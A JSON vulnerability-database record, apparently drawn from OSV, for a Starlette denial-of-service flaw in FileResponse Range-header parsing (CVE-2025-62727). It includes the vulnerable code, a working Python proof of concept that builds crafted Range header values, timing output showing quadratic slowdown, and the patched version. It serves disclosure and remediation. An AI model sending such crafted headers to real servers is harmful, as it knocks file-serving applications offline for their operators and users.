{"id":"CVE-2025-62727","aliases":["GHSA-7f5h-v6xp-fcq8","PYSEC-2026-1942"],"title":"Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``","summary":"Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``","severity":"high","cvss":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","vendor":"starlette","product":"starlette","ecosystem":"pip","affected":["starlette >= 0.39.0, < 0.49.1"],"patched":["starlette 0.49.1"],"published":"2025-10-28","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:29.490992457Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-7f5h-v6xp-fcq8","references":[{"url":"https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62727"},{"url":"https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"},{"url":"https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"},{"url":"https://github.com/Kludex/starlette"},{"url":"https://github.com/Kludex/starlette/releases/tag/0.49.1"}],"tags":["osv","pip","exploit-available"],"epss":0.00638,"epssPercentile":0.48849,"exploits":{"github":1,"githubRepos":["https://github.com/ch4n3-yoon/CVE-2025-62727-Demo"],"checkedAt":"2026-09-21T15:27:32.267Z"},"exploitAvailable":true,"ingestedAt":"2026-07-08T18:25:46.986Z","slug":"CVE-2025-62727","body":"## Overview\n\n### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n    @staticmethod\n    def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:\n        ranges: list[tuple[int, int]] = []\n        try:\n            units, range_ = http_range.split(\"=\", 1)\n        except ValueError:\n            raise MalformedRangeHeader()\n\n        # [...]\n\n        ranges = [\n            (\n                int(_[0]) if _[0] else file_size - int(_[1]),\n                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,\n            )\n            for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n            if _ != (\"\", \"\")\n        ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n  This affects any Starlette application that uses:\n\n  - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) — `starlette/staticfiles.py:178`\n  - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n    import starlette\n    from starlette.responses import FileResponse\nexcept Exception as e:\n    print(f\"[ERROR] Failed to import starlette: {e}\")\n    sys.exit(1)\n\n\ndef build_payload(length: int) -> str:\n    \"\"\"Build the Range header value body: '0' * num_zeros + '0-'\"\"\"\n    return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -> float:\n    start = time.perf_counter()\n    try:\n        FileResponse._parse_range_header(header, file_size)\n    except Exception:\n        pass\n    end = time.perf_counter()\n    elapsed = end - start\n    return elapsed\n\n\ndef run_once(num_zeros: int) -> None:\n    range_body = build_payload(num_zeros)\n    header = \"bytes=\" + range_body\n    # Use a sufficiently large file_size so upper bounds default to file size\n    file_size = max(len(range_body) + 10, 1_000_000)\n    \n    print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n    elapsed_time = test(header, file_size)\n    print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n    print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n    for n in [5000, 10000, 20000, 40000]:\n        run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.\n\n## Affected packages\n\n- `starlette >= 0.39.0, < 0.49.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `starlette 0.49.1`","depth":"midnight","depthScore":53,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":12,"ransomware":0},"changes":[{"seq":4853,"id":"CVE-2025-62727","ts":1788887211979,"field":"exploit_available","old":"false","new":"true"},{"seq":3736,"id":"CVE-2025-62727","ts":1788886328526,"field":"exploit_available","old":"true","new":"false"},{"seq":2581,"id":"CVE-2025-62727","ts":1788883009652,"field":"exploit_available","old":"false","new":"true"},{"seq":1610,"id":"CVE-2025-62727","ts":1788882409952,"field":"exploit_available","old":"true","new":"false"},{"seq":721,"id":"CVE-2025-62727","ts":1788881847181,"field":"exploit_available","old":"false","new":"true"}]}